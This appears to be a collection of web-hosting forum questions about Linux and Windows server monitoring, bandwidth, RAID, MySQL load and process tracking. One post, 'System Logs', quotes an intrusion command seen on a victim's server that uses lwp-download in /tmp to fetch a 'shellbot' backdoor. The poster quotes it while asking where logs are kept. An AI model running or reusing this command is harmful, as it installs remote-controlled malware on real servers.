System Health Monitoring
I am wondering if anyone knows of any good system monitors for Linux. I will be installing several web and database servers at a branch office and would like to receive stats like system temperature, cpu load, memory usage, etc. Basically something to tell to warn me in the event of a hardware error. I am looking something with an easy-to-use web interface and ability to generate reports.

System Performance Monitoring Package W/ Graphical Output
some software which would allow me to monitor critical information about my VPS and possibly give me graphs/charts that show me things like my system's load over time. Since it is a VPS I may want to see this charts/graphs via a web interface if I can't just download some rendered jpg's or somethin from the server on a regular basis. So what I'm looking for is something kinda like the Bandwidth page under Web/FTP Stats in Cpanel so I can easily get a better idea over a few days or week(s) what times of the day my server is getting taxed and when load low.

RAID Health Status
I have a PROMISE TECH hardware raid card running a 4 disk RAID 10 array. I logged into today to check the drive statuses which were: Drive 1: OK Drive 2: OK Drive 3: OK Drive 4: OK, PFA So they all look to be okay, but that 4th disk has PFA (I'm guessing that stands for predicted failure analysis) but I am not sure if that means its predicting a fail, or just stating that the technology is running? Also, this array is the system drive on a server which has much too little memory, (there is usually 5-7GB PF swap during the day) and I'm concerned that the drives constantly under that stress are more prone to fail. They are 2.5" SAS 10k Fujitsu if that means anything.

Global Crossing Looks Bad On The Internet Health Report
I'm not sure how much people use InternetHealthReport.com, but Global Crossing consistently has the worst packet loss - [url] I'm not sure what the cause is, but I wouldn't be surprised if it's because they are a primary peer for Hurricane Electric and other budget carries who don't have much other Tier 1 peers (i.e. Xeex). Any comments from current Global Crossing customers?

Best Monitoring Application?
Best monitoring application? We need a good (best?) network/hardware monitoring application for monitoring our servers located at 3 different datacenters and around 50 servers.. I've founded some programs but they don't cover my needs 100% Basicly I need these; - Adding servers easily. - Adding monitoring channel for each servers. (load, network, disk/ram usage etc..) - Adding users and attaching users to servers seperately. (For example I will add justify user and attach him to server1, will add wht user and attach him the server2 and their permissions will be different and they will have no control on other's servers.) - Web based controller for users/admins - I want to install it to my windows/linux servers and monitor all remotely.. - SMS / mms / msn / email / icq notifications. - Ability to post/get notification.

Bandwidth Monitoring ...
Give me 1000GB or 2000GB and that's my limit that I'll try and not go over. Pretty simple. However, I'm now dealing with a provider that has me really confused. This company is charging us based on 95th percentile and we're now being asked to commit to 8.5 MBPS while the server doesn't even go over 1500GB monthly bandwidth limit. Is this correct: - We're not using tons of bandwidth but we do have large bursts - The company is ultimately charging you for the bursts

I have 1 network interface with a few virtual ones. I need to find a way to monitor bandwidth. I've tried vnstat but it can't measure bandwidth with virtual interfaces. The only thing i've seen is through packet sniffing and i was hoping for a much cheaper alternative(cpu wise).

VPS Monitoring
to monitor our VPS's customers, not our up time but our VPS customer sites resource usage. Maybe a mixture between TOP/PS and WHM|Server Status|Apache Status Summarized by domain in a period of time. Our VPS is going blackzone many times/day and I need to find in real time the actual offending site or application. I need something that tell me in plain english: - Site XXX is taking all your VPS resources - Application XXX is just bombing your VPS - Close port XXX because your're under hacking

Gameserver Monitoring
I'm trying to do up a gameserver monitoring script whereby, I'm able to check if a particular game service is up or down. In this example, I'm trying to check if the port 7777 is up (Unreal Tournament server). PHP Code: <?php$server = "xxx.xxx.xxx.xx";$fp = fsockopen("$server",7777,$errno,$errstr,30); if ($fp) { $fplist = green; } else { fclose($fp); $fplist = red; }?>Colour is <?php echo $fplist; ?> I've tried this on an actual UT server which is currently online, but for some reason, it keeps on giving me red (to signify a down service).

Monitoring And Troubleshooting
I am on a freebsd semi managed dedicated server (semi managed in that they dont really do out lol i just dont have root access, ssh though) unsing DirectAdmin I need to find a way where i can monitor the processes that each account is using. In the Service Monitor its showing all the services thats running for example, at present httpd is showing this: httpd httpd (pid 96703 96702 96700 96698 96697 96696 96695 96694 96693 96692 96691 96690 96689 96688 96687 96686 96685 96684 96683 96682 96662 )I need to find more info about each of the pid's as i would like to know who is using what. does that make sense? The other day (above httpd is normal) there was at least 10 times that amount and the server was dead slow, but i could not find any information as to who was using what and what cause the server to die.... I also have a customer that usually uses about 400mb to 500mb bandwidth per day, since the 28th of march this has gone sky high to nearly 2gb, he says he does not have any attachments fro download, nothing new has been added and no extra traffic, yet this has happened, this is why i need to find more info about such things, I have had a look at the logs but again, i do not really understand what any of it means... i read this somewhere, but i dont think it works on my server... Quote: Look at the PID of the process using the most resources. Then use "ls -alh /proc/PID". Ya'll get something like: root@server02 [/]# ls -alh /proc/10231 total 0 dr-xr-xr-x 3 nobody nobody 0 Jan 17 15:35 ./ dr-xr-xr-x 144 root root 0 Dec 29 09:48 ../ -r--r--r-- 1 root root 0 Jan 17 15:35 cmdline -r--r--r-- 1 root root 0 Jan 17 15:35 cpu lrwxrwxrwx 1 root root 0 Jan 17 15:35 cwd -> /home/USERNAME/public_html/ -r-------- 1 root root 0 Jan 17 15:35 environ lrwxrwxrwx 1 root root 0 Jan 17 15:35 exe -> /usr/local/apache/bin/httpd* dr-x------ 2 root root 0 Jan 17 15:35 fd/ -r-------- 1 root root 0 Jan 17 15:35 maps -rw------- 1 root root 0 Jan 17 15:35 mem -r--r--r-- 1 root root 0 Jan 17 15:35 mounts lrwxrwxrwx 1 root root 0 Jan 17 15:35 root -> // -r--r--r-- 1 root root 0 Jan 17 15:35 stat -r--r--r-- 1 root root 0 Jan 17 15:35 statm -r--r--r-- 1 root root 0 Jan 17 15:35 status The cwd -> will tell you what folder is being accessed. That should let you know what user. You can also from SSH on Cpanel boxes use something like "lynx localhost/whm-server-status" to see connections to specific URLs.

KVM Over IP System
I have a few different types of servers, all of which came with their own KVMoIP setup, aka DRAC and iLO which have worked only so so since their deployment. The HP iLO has performed absolutely flawlessly but the DRAC on the other hand has been nothing less than a complete nightmare. I'm looking for a KVM over IP system that we can connect to multiple servers, mainly Dell, that is 100% reliable and completely stable. Not something that will be giving Java errors randomly when you actually need it to work. So far I've came across the Raritan Dominion KX II which looks pretty promising. Is there any other KVM over IP systems or manufactures that I should look into? Has anyone used this and can you comment about its reliability?

System Logs
I keep receiving hacking attempts from someone accessing my server and running commands like these: Code: hubberfix sh -c cd /tmp;lwp-download [url] shellbot I cannot find any logs with these attempts. Or at least any with info like an IP address or host doing this. Not to sound like a noob, but where can I find logs that would tell me all the commands run on my system? FYI, I'm running Debian Sarge, and I looked in "/var/log" and I can't find much of anything.

Which Operating System
There's bloody heaps of them. Which one do I go for on my two new file servers? Which operating system out of these is the most common, has the most support, is most compatible? The server will be used to host videos and will run c-panel. A light weight OS is probably preferred but I really have no idea. And incase it helps, the servers have 512mb of ram, about 30 - 40GB of hDD (not actually sure) and an old AMD Duron. CentOS Debian Direct Admin Fedora FreeBSD Gentoo LiveCD Redhat Slackware

Email Server Monitoring
My company has been having some issues with our email periodically but our host provides no help other than a graph showing the amount of daily relays. Does anyone know of a good email server montior or diagnostic solution that works with MailEnable? Preferably something free or cheap. I basically want to be able to get in and see what emails were sent and received from who and the IPs if possible. I don't care about seeing the content of peoples emails but just a report similar to a telephone bill would surely help.

Extended Monitoring For MySQL
I have 2 dedicated servers (Centos with WHM/cPanel), for the oldest server it will be great for me to have some option to monitor which users/databases are more used, I'm more interested about the "spikes" i see in the munin graphs once in a while. This server has an average of 42 queries/second but sometimes there are some spikes of over 250 queries/second and in munin I can't see which users/databases ware causing the spike. Curently I use munin for monitoring the server, and it's graphs are ok but I need a more detailed graphs or statistics for mysql, I searched munin plugins but there's no plugins to show the user or database which gets the most queries. how can I see which user/database had more queries? I attached a graph generated by munin, you can see the spike, I seen the spike after about one hour, when the traffic was normal, and the page in WHM - Mysql Processes couldn't help me because there's no history.
